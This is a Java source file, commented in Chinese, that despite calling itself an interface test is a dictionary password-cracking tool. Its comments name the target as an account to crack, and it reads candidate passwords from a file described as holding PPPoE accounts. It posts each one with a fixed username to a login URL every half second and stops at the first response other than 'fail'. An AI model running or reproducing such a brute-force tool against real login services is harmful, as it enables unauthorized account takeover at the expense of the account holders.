package com.axq;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

//对接口进行测试
public class TestMain {
    // 破解账号地址
    private String url = "";
    // 破解的账号
    private String username = "";
    private String charset = "utf-8";
    private HttpClientUtil httpClientUtil = null;

    public TestMain() {
        httpClientUtil = new HttpClientUtil();
    }

    public String test(String password) {
        String httpOrgCreateTest = url;
        Map<String, String> createMap = new HashMap<String, String>();
        // 下面是参数
        createMap.put("username", username);
        createMap.put("password", password);
        String httpOrgCreateTestRtn = httpClientUtil.doPost(httpOrgCreateTest, createMap, charset);
        System.out.println("result:" + httpOrgCreateTestRtn);
        return httpOrgCreateTestRtn;

    }

    public static void main(String[] args) throws IOException {

        TestMain main = new TestMain();
        File directory = new File("");//参数为空
        String courseFile = directory.getCanonicalPath();
        System.out.println(courseFile);
        String filename = courseFile + "/src/main/resources/Account.txt";//pppoe账号所在文件
        try {
            FileInputStream in = new FileInputStream(filename);
            InputStreamReader inReader = new InputStreamReader(in);
            BufferedReader bufReader = new BufferedReader(inReader);
            String line = null;
            int i = 1;  //标记点
            while ((line = bufReader.readLine()) != null) {
                Thread.sleep(500);
                System.out.println("开始尝试连接验证第" + i + "个密码: " + line + ";");
                String result = main.test(line);
                if (!result.equals("fail")) {
                    System.out.println("------成功-----");
                    break;
                }
                System.out.println(line);
                i++;
            }
            bufReader.close();
            inReader.close();
            in.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}


